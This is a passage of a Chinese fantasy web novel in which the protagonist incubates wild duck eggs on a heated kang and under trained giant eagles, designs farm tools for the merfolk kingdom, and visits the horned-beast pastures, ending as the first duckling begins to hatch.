点了油灯,手护着走到存放野鸭蛋的屋子。 白争争盘腿坐下,接过油灯。 大门被关上,室内一下子就暗了。 白争争拿着鸭蛋一个个凑到火光边,幼崽低低道:“有吗?” “有。” 白争争教导幼崽:“有小崽的蛋里面有些黑丝和黑点,这些才能孵化出来。你们找找看。” 野鸭被喂养得服帖之后,就开始产蛋了。 兽人们每天都会捡很多,都用藤筐装着,一直没动过。 白争争半个月没过来,蛋都装了两个藤筐。 等一一检查完,受精蛋有个三分之一,七八十个,能孵化一批。 白争争重新找了个藤筐来,将能孵化的蛋放里边。 剩下那些一部分送去城堡,一部分送新房子那边,兽人们做吃食要用。【魔蝎小说 mo xie xs .c om】 60-70 第61章 第 61 章 孵蛋 火炕屋里, 现在就是光秃秃的一个大炕。 白争争将野鸭蛋搬进去,吩咐幼崽去找大兽皮来。他则搬了些柴进来,放在墙角堆着。 现在秋季过了一半,温度降下来了, 但也不算太冷。 不一会儿, 幼崽头顶着大兽皮进来。 高个的芽在前, 中间凹陷的是肉, 后头是清。三个摇摇晃晃, 被兽皮压得不稳。 那兽皮很大, 幼崽走到炕上身子一歪, 从兽皮底下钻出来, 吭哧吭哧将兽皮推到上头去。 雁顶着一头乱发,狠狠喘了口气,撑着膝盖道:“争争,孵蛋为什么要用兽皮?” 白争争给幼崽顺了顺毛,道:“天气冷了, 模拟野鸭腹部的温度才能孵化野鸭蛋。” “那你怎么知道冷不冷热不热?”肉咕哝, “难道你摸了野鸭肚子了?” 白争争:“没有。” 肉:“那我去帮你摸!” 芽捞住肉的小马甲, 将小胖墩儿扯回来。“争争才不会像你这么笨。” 白争争弯眼,“先把炕铺好,下面放些稻草,上面兽皮铺平。” 野鸭蛋放上去,大头朝上,立在稻草中间。幼崽疑惑地看着白争争,但也跟着学。 “争争,为什么要这样放?”雁问。 肉想当然道:“大头是脑袋,小头是屁股, 肯定是让它们在蛋壳里坐得舒服一点。” 白争争听到笑了一下。 肉得意:“争争,我说得对吧。” 白争争:“不对。” 肉鼓了鼓胖胖的脸。 白争争道:“你们也吃了那么多野鸭蛋了,知道鸭蛋里有一处被一层隔出来的小空间。” “知道。”幼崽认真听讲。 “那叫气室,小鸭子在里面也需要呼吸,气室朝上……” “让它们不会憋死!”肉抢答。 白争争:“这么说也对。还有一个原因,是方便里面的胚胎靠近气室不被压,便于发育。” “胚胎是什么?”肉茫然。 雁:“是那个黑点。” 白争争笑着点头:“聪明。” 野鸭蛋放好,静置几个小时,之后就需要烧炕了。 兽人们中途吃过午饭,睡了一觉才过来。白争争将火炕烧热,察觉到温度升高,随后撤了柴。 幼崽看了野鸭蛋一会儿,拉过兽皮,盖得严严实实。 肉在上头拍了拍,被芽打了一爪子。 肉委屈:“争争,他打我。” 白争争手贴在炕面正在试温度,闻言轻叹,道:“好好相处。” 带崽子有时候真的心累,就三个幼崽跟着他,一天要闹过七八遍。 雁蹲在火炕边,学着白争争将手放上去,有一点点的热。 “这样就可以了吗?” 白争争道:“当然不行。” 孵化鸭蛋的时间正常需要二十八天,如果变温孵蛋,前七天保持在三十八摄氏度左右,往后三十七摄氏度逐渐降低,最低不超过三十七摄氏度。 恒温孵蛋,三十七点八摄氏度即可。 由于鸭蛋壳较硬,还需要控制湿度,方便软化蛋壳,利于鸭子出壳。 但这是白争争以前看来的村里一户专门卖小鸭的叔家的孵蛋经验。还是大白鸭品种。 白争争现在孵的不是一个品种,也没仪器,只能将这个做参考,凭感觉来。 “除了要保持炕面不能太冷太热,还要翻蛋。一天两三次。” 肉口气大:“两三次嘛,几下就翻完了。” 现在这样,也不知道后头是哪个幼崽翻蛋翻得直哭。 火炕这边得时时控制着温度,晚上也得看着,白争争想了想,打算搬到这边来住。 喂养野鸭的食草兽人们晚上会回自家睡觉,守着野鸭的两个豹兽人住在那空屋子里。 白争争直接搬进去又不好,思来想去,干脆就住在这炕屋。 幼崽一听,当即也要留着一起。 白争争便带着他们在墙角安置了木板子,垫上干草兽皮,之后就要一直守在这边。 快傍晚,白争争检查过炕上的温度。 快凉了,又添了柴烧了一会儿。 他打算回去吃顿饭,顺带跟阿爸还有烬说说要一直守在这边的事儿。 他关上门,带着幼崽走了几步,就见烬从人鱼城堡那后山的方向过来。 瞧着是去看了炼铁的。 白争争不自觉就扬起笑,“你怎么来了?” 幼崽见白争争笑得的不值钱的样子,暗暗撇嘴,脑袋凑在一起叽叽咕咕,不知道又在说什么。 烬牵住白争争的手,听了一耳。 “人鱼真是太粘人了,争争才出来一天就找来了。” 烬垂眸,手指动了动。 三个小不点感觉到后背凉幽幽的,一个激灵躲在白争争身后,然后继续嘀咕。 烬不理会幼崽,牵着白争争往城堡后山走。 “吃晚饭了。” 白争争:“我这边在孵蛋,离不开人,之后就搬过来住一段时间。” “好,我也过来。”烬道。 肉:“没烬的位置了!” 烬却看白争争问:“住的哪儿?” 白争争:“火炕屋。” 烬点点头,也不多说。 走几步,幼崽忽然拉住白争争的兽皮衣,“争争,小祭司来了。” 雁:“不是小祭司,是祭司。” 这次部落遭难,他们祭司也没了。鹤这个祭司的接班兽人自然就担起了责任。 白争争看了眼烬道:“多半是我阿爸让我哥叫我回去吃饭。” 说句话的空隙,两个兽人过来。 “王,争争。”菱道。 鹤见他俩拉着的手,心想弟大不中留。他道:“一起吃个饭吧。” 都回来这么久了,还没坐下来跟弟弟的伴侣好好谈谈。虽然鹤已经问过菱人鱼王如何,但还是有些事情存疑。 此时,鹤还并不知道白争争在山洞那边的事情。 烬点了头,一行四个成年兽人加三个幼崽继续走。 因着鹤在,城堡后的捷径就不好去了。 鹤两个怎么过来的,他们就怎么回。 一路无声,走到半路,却看山脚下田地间迎面走来白争争阿爸跟阿父。 白争争:“怎么今天凑一块儿了。” 鹤:“清他们先回来,提起你在孵蛋的事,阿爸他们想上来看看。” 白日里忙,兽人们又要备馅儿又要揉面烤饼,没空闲的时候。 二老停在原地,等他们过去之后,白争争隐隐觉得气氛有些沉默。 幼崽不说话,前头的阿爸跟阿父也不说话。 白争争不自觉绷紧身躯,悄悄瞥去,只有菱悠悠哉哉靠着他哥,视线在他阿爸阿父以及烬身上左右来去。 白争争觉得心里毛毛的。 养了半月,他阿爸的身体勉强恢复,阿父倒是顿顿吃好,加上每日干活儿肌肉也回来了。 虽没烬高,但黑麻麻的一张脸,还是有些吓人。 “阿爸……”白争争悄悄道。 拦在路中间,不说话是个什么事儿。 照:“既然下来了,那就一起回去吧。” 他说完,搀扶着伴侣转身。 幼崽你看我,我看你,走在后头,嘀嘀咕咕:“我怎么感觉族长不喜欢烬。” “才不是不喜欢,那叫考验。”雁道。 芽:“为什么要考验?” 雁:“因为争争啊。” 芽:“可是烬不是很好?” 雁:“我们知道,族长又跟他不熟。” 两个幼崽点头。 “也对。” 一家人难得聚齐了,没有去城堡,而是直接去林猫兽人居住的房子。 从山上下来,天边青蓝一片。山林朦胧,被雾色笼罩,不早了。 在屋里准备晚饭的兽人听到动静,探头一看,自家林猫兽人里混着两个人鱼,立即缩回头去。 “人鱼王来了。” 兽人们不明所以。 白争争自他们回来就一直跟他们待在一起,烬也忙,两边就鲜少见面。 他们还不知道白争争与烬的关系。 这会儿见两个兽人并肩进来,狐疑地拉过后头的三个小崽子去了隔壁屋。 一问,才知道是争争的伴侣。 兽人们目瞪口呆。 争争什么时候有伴侣的?伴侣怎么又是人鱼王了? 清混在中间,道:“你们不是看着争争取接你们的,那时候烬也在,争争天天惦记着他怎么没回来,那会儿争争就没什么表现?” 林猫们大眼瞪小眼。 “那会儿漆黑,我们哪里……”说着说着就没了声。 可不是,当时虽然混乱,但烬可是将争争护得紧紧的。 他们离开那么久,在他们眼中,争争才刚成年呢,哪能这么快就有伴侣。 而且当时那混乱的场景,脑子又不清醒,也没想到那一处去。 接下来的一餐饭,兽人们吃得心不在焉。 时不时看一眼白争争跟烬,一肚子的话又不好问出来。 再看鹤,还帮旁边的人鱼夹饼子嘞。 不愧是祭司,知道讨好人鱼。 吃过饭,兽人们就带上幼崽去休息。中间的屋子里只留下白争争跟烬,鹤跟菱。 他们面前,两个长辈并排坐着,静静看来。 “什么时候的事儿?”照开口。 白争争:“一年前。” 鹤:“一年前。” 兄弟俩异口同声,照把他俩看着,道:“我先问你弟。” 鹤:“阿父,你别这么严肃。” “就是就是,搞得像我做了什么坏事一样。”白争争有他哥托底,胆子大些。 希悄悄捏了下自己伴侣的手,照道:“那你从头开始说。” “从我们相遇?” “从你们离开部落。” 白争争“哦”了声,从离开部落之后说起。本来想隐瞒一些,但没编好,最后细枝末节都被两个爸爸问得清清楚楚。 说完时,已经过了半夜。 家人在侧,以前经历的委屈早在烬面前发泄过一遍,白争争说得很平静。 甚至谈起被熊兽人抓的那事儿,还有心情告状。 烬守在伴侣身侧,听到这里时还是心惊胆跳。 到后头,白争争说着说着没了那股惧怕,泛着困意靠在烬身上,最后更是直接躺了上去。 白争争有意识自己还在叽叽咕咕,但围着的兽人们已经听不见他说的是什么。 两个长辈端坐,不发一语。 连鹤也因为自责后怕,面色愈发的冷。 这些事他们都不知道,要不是今天不问,白争争提都没跟他们提一嘴。 最后经历了苦难的兽人窝在自己伴侣的怀里睡着了,梦应该挺美,唇角翘着的。 烬拂去他脸上的碎发,垂着眸,目光温柔。 他的伴侣一直都很坚强。 最后,两个爸爸还有鹤沉默了许久。照才像抽走了精气神一般,疲惫道:“回去吧,都累了。” 希见烬看来,温和笑着,眼里却泛着苦涩。 “我们这边屋小,让争争跟你回去吧。” 这便是承认白争争这个伴侣了。 也是,要不是争争捡到了烬,之后烬又给林猫幼崽们帮忙,或许他们现在都还没找回这些幼崽。 想到自家崽子又是养幼崽,又是找他们,兽人们自责得厉害。 鹤忍不住想,要是他被救上来之后,哪怕是拜托个兽人先去给争争报信,他就不必千里迢迢过来,还经历那些凶险。 三个兽人都在消化情绪。 烬担心白争争这么睡着不舒服,打了招呼,就抱着人离开了。 城堡的床大,这边太挤,以后他的伴侣就跟他睡。 小崽走了,大崽还在。 照看他表情,就知道他为兄弟的事情在难受。 他重重拍了两下鹤的肩膀,嘶哑了声音:“不怪你,争争那崽子从小就不安分,要是他知道了我们的情况,一定不会安心在海岸生活那一年。” 希看靠着他也睁不开眼的菱,放轻了声音道:“也去休息吧,菱都困了。” 鹤看了眼自己伴侣,点点头,但是注视着他俩没动。 希笑着,眼角皱纹深深嵌入,看起来藏着丝苦涩。“我们也去睡了。” 鹤这才起身,牵着伴侣出去。 走过一段,菱往他肩膀上一趴,闭上眼睛蹭着他短短的头发。 鹤干脆弯腰,将他背起来。 门口,照跟希注视着他们的背影,心里像被压了石头,沉甸甸的。 照道:“争争不听话,鹤这个当哥的也没带好头。” 一个是被人鱼救了,一个是救了人鱼。好在都有惊无险,平安过来了。 希低声道:“以后别那副脸对着烬,那是自己家的兽人。” 照:“我那不是怕自家小崽被骗了。” 希:“他骗别人还差不多。” * 烬抱着人回城堡,屋里没亮灯,但却不妨碍。 烬将他放在床上,刚松手,白争争却忽地挺直身板,人都没清醒就急急忙忙推开烬的手往外跑。 烬眼疾手快,勾着人的腰往回一带。 “去哪儿?” 白争争迷迷瞪瞪。 脚落地,伸腿扫了几下,踩着自己鞋穿进去。 “我在孵蛋啊,不能睡。” 烬看着白争争的肚子,“孵蛋。” “才第一天,不能出问题。”白争争急得跺脚,腰后的长发扫过烬的胳膊,痒痒的。 大半夜的,还得爬山回去。烬选择不走,直接叫醒了侧边棚里睡觉的大黑,让它代步。 大黑散发着一股怨气,仿佛像它的羽毛一样黑得浓稠。最后在食物的诱惑下,任劳任怨地将两人带到后山。 白争争从大翅膀上滑下去,径直往屋里跑。 守着这边的豹兽人两兄弟听到动静,跑出来,却见那大食人鹰正追着他们的王啄。 豹大:“王,你们这是?” 烬一把抓住大黑的脖子,淡定道:“没事,睡去吧。” 豹大拉着自己弟弟躲进屋去。 烬甩开大黑,低声道:“想吃鱼就老实点儿。” 大黑叨他落了个空,害怕人鱼报复,拍着翅膀就急吼吼地飞走了。 屋里亮起了灯。 烬拾阶而上,推开半掩的门,看自家伴侣正趴在火炕边生火。 烬抱着柴过去,递到他手边。 “每天都要看火?” “嗯。” “多麻烦,为什么不直接让食人鹰来孵?” 白争争动作一滞,眼珠转了几圈,忽然嘿嘿笑出声来。 他面上哪里还有睡意,那眼睛如油灯一般,简直在发光。 “你真是个天才。” “现在就差鸭苗,我先攒几日野鸭蛋,到时候试试。看我这个成功率高些,还是食人鹰。” 烬:“别太高期待。” 白争争:“没多期待。” 主要觉得大黑那样的坐在窝里孵蛋,想想都觉得好玩儿。 当然,也不全是这个想法。 食人鹰体型大,又是鸟类,加上现在日子过好了,不飞的时候它们就成日里在窝里蹲着,利用利用,不正合适。 白争争将炕上烧到合适的温度,手探了探,才保留着些火星睡觉。 两个成年兽人挤一张床,大小刚刚合适。 白争争胳膊腿儿挂在烬身上,没一会儿就睡着了。 翌日天一亮,白争争起床第一件事就是看火炕。 火炕烧一次,能保持四五个小时。他里面留着火星,稍稍能保持得长一些。 就是这温度不好控制,偏高偏低他手还探不出来。 白争争只能一次次试着来,这个得慢慢积攒出经验才行。 早上,来这边帮忙的兽人们吃过早饭就来了,见白争争从屋里出来,有些诧异。 “争争,昨晚没回去啊?” 白争争道:“孵蛋呢,离不开人。” 兽人寒暄几句,屋里的野鸭已经听到声音,一个个扇着翅膀扯着嗓子叫。 要食吃呢。 象宝当即道:“争争,我们忙去了。” 白争争目送他们离开,也赶紧拉着烬去最近的城堡吃饭。 吃过饭后,白争争往侧边溜达一圈。 他立在侧边专门给食人鹰修的鸟棚子前,大黑刚吞了一条鱼,抬头看了眼白争争。 白争争:“想不想孵蛋?” 大黑喉咙动了动,又低下头,往桶里叼鱼。 五只食人鹰,吃个鱼都懒散得蹲趴着,一点不像猛禽。 白争争:“不说话就是答应了。” 大黑门头干饭。 白争争不怀好意地笑了两声,当即去新房子接走幼崽,去后山捡野鸭蛋去了。 攒了三日,白争争为每一只食人鹰挑选了十个野鸭蛋。 相比起食人鹰那半个脑袋大的蛋,野鸭蛋是在是有些小了。 白争争怕浪费,只拿了这些下山。 他们从西边绕过城堡的后山靠近鸟棚,白争争将藤筐放下,然后钻进棚里。 食人鹰的窝外面用树枝搭着,里面放着干草,是兽人特意做的,窝大,白争争蹲进去都绰绰有余。 白争争:“雁,你们在外面递给我,小心点。” 白争争先蹲到大黑窝边。 大黑长长的脖子如弯弓,脑袋低下来,奇怪地看着他。 见白争争蹲着不动,头搭在他身上,将他往自个儿窝里勾了勾。 白争争身子一歪,忙撑着大黑的翅膀稳住。 “让你当爸爸,你老实点儿。” 幼崽从外面递进来,白争争一个个将野鸭蛋往大黑的肚皮底下送。 手探进去,那腹部的羽毛顿时覆盖手背,暖融融的,感觉比他那炕上要舒服多了。 白争争如法炮制,将剩下的野鸭蛋分别给其他几个黑都分了分。 放完之后,白争争跟幼崽们在入口处守着。 食人鹰像是察觉到肚皮底下的蛋,稍稍抬起翅膀,脑袋往下勾了勾。 白争争看着二黑要啄,一把抓住鸟喙。 “不准,不行!”他拍了下鸟头,力道不重,但能长教训。 大黑最聪明,看白争争的样子,抖了抖翅膀重新蹲下来。 肉道:“它这是同意孵蛋了吗?” 芽拎了拎三黑的毛裤,将快要被挤出来的鸭蛋又放回去。 “它们可聪明,我们走了,它们又会推出来。” 白争争连带着三个幼崽一起观察着。看食人鹰不断将野鸭蛋推出来,又或者啄蛋,白争争抓着食人鹰的脑袋都不知道拍了多少次。 “争争,你们在干什么!” 后头忽然一声吆喝,吓得白争争连带三个幼崽猛地站起来,差点就一爪子给后面的龟鸣抓去。 白争争见龟鸣好奇凑过来,笑道:“正好,帮个忙。” 白争争还要回去守着火炕,今天第四天了,还要翻蛋了。 龟鸣自己凑上来的,那他也就不客气了。 不多时,白争争带着雁回山,龟鸣两眼一抹黑地蹲在鸟棚外,被肉跟芽两个幼崽抓着胳膊,被迫当了这个守鸟的。 龟鸣:“早知道我就不来了。” 芽笑嘻嘻:“我们会感谢你的。” 其实留两个幼崽看着也行,但白争争怕没有成年兽人看着,出个什么事儿没人知道。 食人鹰被守着孵蛋,适应了几天,就像忽然有了父爱一样,也不踹蛋啄蛋了,每天还知道给蛋翻面。 白争争看过几次,之后只每日过来瞧瞧,不需要兽人守着。 第62章 第 62 章 出壳 孵蛋正在有序的进行。 白争争将烧炕的技巧跟温度教给象宝他们, 先让他们帮忙看着点儿。 他惦记着北边的角兽,却在去时犯了难。 龟鸣还有三个幼崽立在鸟棚外,看白争争无论怎么拉,大黑都纹丝不动。 肉见白争争的脸都憋红了, 声音脆嫩:“争争, 它孵蛋呢。” 龟鸣哈哈笑道:“谁让你让它孵蛋的, 现在走不了了吧。” 雁瞪他一眼, 凶巴巴的。 “争争, 把野鸭蛋放到二黑肚子下。” 白争争没力气了, 一屁股坐在鸟窝边, 试探着往大黑肚子下摸。 他伸手, 大黑就用鸟喙轻轻勾着蛋往更深的地方藏。 白争争看它这样子,甩了甩手,走出鸟棚道:“算了,咱们再想其他办法。” “北边那么远,没有大黑他们帮忙, 咱跑过去都要几天。”芽说着要钻进去, 试图再努把力。 白争争拦住小少年, 看着龟鸣。 “这样,咱走水路行不行?” 龟鸣嚷嚷:“那地方怎么走水路,从海边过去要绕一大圈嘞!” 白争争想了想,转身进了城堡。 “争争,不去了啊?”幼崽追在后面喊。 白争争:“我去找个跑得快的。” 白争争找烬帮忙,却刚踏入大门就听到吵架一样的声音。 透过议事厅的门缝往里看,烬坐在一旁,揉着额角,下面好几个兽人赤急白脸地互相喷着口水, 骂骂咧咧,好不热闹。 白争争听了一耳,吵的是分粮的事儿。 今年秋,一年的粮食新收上来了。属于人鱼族的粮食产量统共有六十万斤。其中一半都是紫皮根,余下的才是水、稻、豆这些零散的。 人鱼族安排兽人种这么多的粮食,也不全是自己吃,更多的是跟大部落交换,或者储备以应急。 大部落这几个首领自己也有地,也收粮,但食物嘛,哪个会嫌少了。 这会儿吵的就是人鱼族卖出的这一部分的粮食分配。大部落都有实力,都想多分点儿。 这些粮食可是好东西,人鱼王国里卖能挣一笔,运去处卖能换更多的肉。 大部落不缺粮,缺肉。 白争争没站一会儿,找不了烬干脆找菱。 在城堡里转了几圈,最后在后山山坳里的炼铁的地方找到兽人。 “菱。” 菱正站在那几个立起来的大高炉前,看兽人们浇筑。 闻言,他用兽皮擦了擦脸上的汗,甩着高马尾走来。 “正好,看看我们做出来的东西。” 白争争还没来得及说自己的事儿,就被菱拉着往武器架前一推。 好家伙,双锤、长刀、长枪、长矛、匕首、砍刀、菜刀……应有尽有。 不过好像混进了个什么奇怪的东西。 “瞧瞧,是不是你画出来的那些?” 白争争当初要造房子的工具时,画了图纸给菱。想着可以做武器,又顺手将这些也画了。没想到他们还真按照那个做出来了。 “你们试过吗?” 白争争将里头的菜刀取下来,摸了下刀刃,还有些厚。 菱:“试过。” 他下巴往角落里的藤筐里一点,白争争看去,满满当当,全是断了的武器。 白争争:“你们弄断的?” 菱:“这些兽人想试试能承受多大的劲儿,专门把王叫过来试了试。” 白争争评价二字:“凶残。” 山坳里竖起六个高炉,都是兽人们做高炉时试验材料弄出来的。 弄完之后,发现只有一个能用。现在高炉都还在改良阶段。 但即便是这样,也比兽人们以往用的小炉子好用。 这不,山坳里铁器稍稍能批量产了。 什么铁锅、铁勺……白争争之前要的那些店里做生意的厨具都做了不少出来。 但厨具都用生铁,脆,地上就摆了个被兽人们摔碎的锅。兽人们围着那口锅,正在比对着二次锻造的熟铁与生铁的区别。 他们虽不知这称呼,但已经有比对结果了。 全是他们自个儿研究出来的,白争争都没空过来。 白争争看来看去,想到兽人们吵要的粮食,脑子里灵光一闪。 “菱,武器我不懂,但我觉得有些东西,咱必须做出来。” 白争争认真看着菱,见人鱼眼里微暗,正以为他听进去了,脑门上忽然被敲了一下。 “叫嫂子!” 白争争捂头,委屈道:“嫂子。” “乖。”手里被塞了个果子。 这里热,待一会儿就出汗。 白争争忘了他来是干什么的了,一想到要让兽人们造什么,就有些兴奋地拉着菱先回城堡。 “我刚刚听兽人们说分配食物的事儿,咱可以造农具,精细化耕种,提高生产力,增加粮食产量。” 菱:“听不懂。” “我画!”白争争急吼吼地拿了兽皮跟羽毛笔,一边画一边解释,“这个是锄头,可以挖坑除草,比兽人们用爪子刨好。用铁做,嵌上长木棍,方便省力。” “这个是犁,种地尤其是种水稻,需要翻耕犁田……” “这个是铁耙……” 白争争把家中以前都有的农具全给菱罗列了出来,说到兴头上,还比划比划,看得菱脸越来越红…… 纯属激动的。 他一拍掌,抓过白争争的兽皮。 看来看去,振奋道:“好东西啊!我现在就让他们试!” 菱拿了兽皮就走,门口差点就撞到烬。烬扫了一眼他手中的兽皮,问:“商量什么?” 菱:“农具,提高生产力,增加产量。” 烬:什么玩意儿。 白争争立在屋内,双手一背,高深莫测摇头晃脑道:“这只是其一,还有农药、肥料,这二者做出来,加上良种,粮食一亩千斤不是问题。” 烬见他那小模样,低低一笑。 看菱又转身要问什么是农药肥料,烬道:“我问。” 菱:“那我看看这玩意儿怎么造。” 烬提醒:“正事儿也别忘了。” 菱:“知道。” 银发人鱼风风火火走了,留下白争争跟烬你看我我看你。 烬正往里进,白争争忽然往前一扑。 烬都张开手打算接住他了,他却抓着烬就往外走。 “我的正事儿差点忘了!” “什么?” “烬,你安排个能跑得快的兽人带我们去北边呗,角兽那边我都好久没去看了。” 走到门口,三个幼崽趴在大海龟背上晒太阳,晒得舒服了,翻个身举着四个爪垫看来。 “争争,怎么还没好啊?” 白争争:“马上。” 他看向烬。 烬:“食人鹰呢?” 幼崽异口同声:“孵蛋呢。” 烬:“找其他食人鹰。” 幼崽爬起来,呲溜滑下龟壳,跟在烬的身后。“哪里还有食人鹰?” “在海岛上,我让秋带几只回来。” “没训练的怎么用?” “训了。” 也是因为烬之前帮白争争抓过食人鹰,回来之后就安排人鱼着手训练了。 不过食人鹰凶残,城堡这边也没那么多的人手能去抓食人鹰,所以都是直接抓少许成年食人鹰以及抱回来它们的蛋开始养的。 从小养,食人鹰就少些凶性。 现在刚好一年龄,能用。 幼崽听得好奇,屁颠屁颠跟在烬后头跑。 “那养了多少?” 烬:“百只。” 白争争惊道:“那岂不是一个族群了,这么多,拿什么养?” 烬:“这边鱼产不多,所以直接在远海的岛上养。” 白争争:“那他们过来还得多久?” “几天。” 说着,就找到正在带着兽人巡逻的秋。 这边暂且需要等候几天,白争争又只好跑回后山,继续守着他那些野鸭蛋。 再一次翻过蛋后,三个幼崽软绵绵滑下炕,坐在地上。 龟鸣抱着柴放在白争争身边,道:“你这能行吗?这么久了没动静。” “十天都不到!”幼崽反驳。 白争争:“能不能行你看看不就知道了。” 正好需要挑蛋,幼崽去把门关上,白争争点了油灯,拿着蛋一个个对着灯看。 龟鸣凑近,只看里面一个黑点,还有大量的黑色细丝,他道:“不会坏了吧。” 雁道:“不懂就别乱说话!” 白争争戳了戳幼崽气鼓鼓的脸,“友善一点。” 芽一个起跳,挂在龟鸣背上,看着那蛋道:“里面的小鸭子在长大呢,看着那个黑点没?它就是从那里开始长。” 白争争将这个好的放下,又换了另一个。 “两个黑点儿!”龟鸣道,“里面是有两颗野鸭?” 肉接过来,放在一旁篮子。 “是坏的。有两黑点的和一环一环血丝的,都是坏的。” 十天不到,白争争只照过两次蛋,但是六七十个蛋里已经淘汰出来十几个了。 反倒是鸟棚那边,大黑它们孵的蛋好多都发育得不错。坏蛋也就几个。 白争争将坏蛋挑完,闭了闭眼,才叫幼崽开门,将坏蛋拿出去。 后山养殖场里,每天都有不少野鸭蛋。 要孵化小鸭子,最好选用几天内的新鲜鸭蛋。 白争争不想浪费一个受.精蛋,炕上现在这一批正在孵化,干脆就直接拿下山去。 现在食人鹰孵蛋孵得起劲儿,目前看来成功率比炕上的高些。 白争争直接带了一筐子下来,将三黑四黑五黑肚子下的野鸭蛋掏出来,分别放大黑跟二黑肚皮下。 龟鸣帮忙抓着三黑几个的鸟脖子,白争争又趁机将藤筐里的新鲜鸭蛋放进去。 一个窝里三十个。 食人鹰体型大,能孵。 几天后,烬说的食人鹰来了。 白争争先跟小食人鹰沟通了下,然后让剩余几只背上些今年新收的粮食,往北边去。 秋日,林间树木斑斓,黄红交错。 兽人们欣赏着风景,不知不觉就到了地方。 深草如瀑,自山脉往下铺满。已是秋季,草毯渐渐枯黄,兽人们躬身立在其中,挥着石镰,正在为角兽储存冬季的干草。 食人鹰飞落,阳光下巨大的光影将兽人笼罩。 底下的兽人们惊了一跳,猛地蹲下。 抬头见是白争争几个,立即笑着站起来,冲他们挥了挥手。 等食人鹰降落,兽人便围了过来。 “流,叫兽人们来搬东西。”白争争道。 流是负责角兽养殖的小队长,一个牛兽人。体格健壮,站起来两米高。 这个季节已经冷了,他还赤裸着上半身,露出块状分明的肌肉。 几个幼崽还没他腿高。 食人鹰带来的是今年新收的粮食,给兽人们吃的。 人鱼这边将兽皮袋卸下,底下的牛兽人一手一包,拎着就往山脚下蘑菇一样的房子走。 完成了任务的驯鹰兽人们则带着食人鹰回去,留下一只,方便白争争到时候回程。 草场上没多少遮挡,一眼辽阔,角兽这个时候被放在外面吃草。 兽人们靠近,稍稍乱了一阵,只几个靠拢在一起,盯着这边看来。 白争争道:“这边角兽出什么问题没有?” 流体格壮,声如洪钟:“这野兽胆子小,我们刚养的时候还吓死了两头。” 白争争:“怎么吓死的?” 流看白争争要快步走才能跟上他的脚步,底下的幼崽们更是得连跑带跳。 他扔下兽皮袋,大手一捞,将三个幼崽放在自己肩上,然后拿上兽皮袋继续走。 幼崽们舒舒服服地趴下来,一个挨着一个,位置刚刚好。 “还不是那几个食肉兽人,角兽刚抓来时脑袋蒙住,见不得兽人。偏偏那几个兽人没见过这么多的角兽,想着这样闷着角兽不好养活,悄悄解了头罩想将角兽驱赶出来放。” “结果角兽受惊跑了,兽人们又围堵着追,找回来后养了几天,就没了气儿。” 白争争道:“多半应激了。” 流道:“好在是两头雄角兽,那肚子里有崽子的他们没动。” 养了这么久,他们也是养出一点经验了。 这角兽其实好养,就是最不禁吓。 给点草就能长,但声音大不得、追不得,一惊一乍的最容易弄死。 他们跟伺候祖宗似的伺候着,现在才养出一点名堂。 白争争道:“现在就只有二十八头了。” 流道:“是。” 他微侧头,正好看见肩膀上三个毛球一样的林猫幼崽。他笑呵呵道:“争争啊,咱这么养下去,也养不了多少头。要不再让那些兽人抓点儿来?” 白争争道:“角兽不好抓,抓活的更是。你也知道这边角兽少。” “先前来时,我们还在山里看到过角兽群,那边没动?” “嘿!说起这个就有意思,咱的角兽每天放出来,会跟人家合群。不过到了晚上自己就回来了。” 白争争道:“那边有多少头?” “也有二三十头。” “那就别让它们跑了,先让它们处处,没准就勾搭回来了。” “我也是这么想的。” 说着,到了房子边。 这边房子建得也不少,一共六座。三个屋当角兽休息的地儿,余下三个兽人们休息。 兽人们将手上的兽皮袋放储物的房子里,随后端了水来,让白争争几个喝口水,休息一会儿。 过来快半日,差不多该吃午饭。 兽人们在外面架起了锅,又将送来的紫皮根拿去溪沟里清洗干净,削皮后切块儿放陶锅里煮。 白争争看他们吃得简单,将面粉弄了些出来,揉面烤了些大饼子。 最是简单的食材,但因着烤出来的麦香,兽人们吃得津津有味。 白争争跟着他们简单吃过一顿,又歇息了会儿。 角兽比野鸭难养些,他们一日就能吃下几十斤的草料。 冬季四处迁徙,单固定在这里养的话,草料储存得越多越好。 下午,白争争边跟着兽人们一起割草,扎捆。 皮毛雪白的角兽就在不远处俯身吃草,吃够了趴下来,在秋日的暖阳中昏昏欲睡。 偶尔这边幼崽钻草丛的声音大了,惊得抬起尖尖的耳朵,往这边看上一眼。 确认没什么危险,再趴下去打盹儿。 这些大家伙看着很有威胁性,但一点也不禁吓。 割草割到天边昏黄,兽人住的房子外又升起炊烟,直冲云上。 白争争今晚还要回那边看着野鸭蛋,这边确认无事,就安心回了。 回去之后,直奔后山。 那后山小屋里亮着微光,食人鹰刚落下,门口一道影子被拉长。 白争争抱着三个在食人鹰背上睡着的幼崽下来,揣崽怀里,走到烬跟前时被他接了过去。 “还没睡?”白争争低低问。 烬道:“嗯。” 进屋里后,白争争检查过火炕,发现温度正合适。 烬道:“刚刚才烧过,能管到明天早上。赶紧休息吧。” 白争争弯眼笑了笑,额头靠在他肩膀,蹭着蹭着睡意就起来了。 简单收拾收拾,便熄灯睡觉。 次日,早上下起了雨,气温一下子降了一大截。 幼崽早起来了,自觉先翻了蛋,然后在屋子里你追我赶,吵吵闹闹。 白争争将火炕烧了一会儿,关住火口,随后带着幼崽们下山。 先去新房子那边吃个饭,给幼崽拿上几身厚实的衣裳。然后再去看看食人鹰那边有没有将新放进去的蛋弄坏。 在山下转了一上午,之后又得上山。 转眼,快一个月。 孵的野鸭蛋淘汰了一批又一批,如今只剩下三十多个。 幼崽们守着这些金疙瘩,捧着小脸蹲在火炕边。 “争争,都这么久了,它们怎么还不出来啊?” 白争争勾了个凳子在他们旁边坐下,也盯着那蛋看。 今早才喷了些水,湿度是够的,蛋壳里也已经是小鸭子的阴影。 算算时间,破壳应该就是在这几天。 白争争叹气:“是啊,都这么久了,怎么还……” 咔嚓—— 极其细微的一声。 白争争并几个幼崽瞳孔齐齐缩紧。 幼崽忙伏低身子,在一堆蛋中找来找去。 白争争拎着幼崽的兽皮衣拉回来,指了指最跟前的一个。 只见圆滑的蛋壳表面,出现了一个极细微的缝隙。 咔嚓声又响,幼崽们紧盯着缝隙,激动得互相抓住对方的手,离蛋壳愈发的近。 白争争手挡着幼崽的额头,让他们推开一些。 “都成斗鸡眼儿了,要看就好好看。” 说着,蛋壳掉下一片,露出鹅黄的小鸭子嘴巴。扁扁的,一看就很柔软。 “要出来了!” “嘘——”白争争摸摸幼崽的脑袋,让他们镇定些。 小鸭子破壳艰难,幼崽们几次想上手,都被白争争拦住。 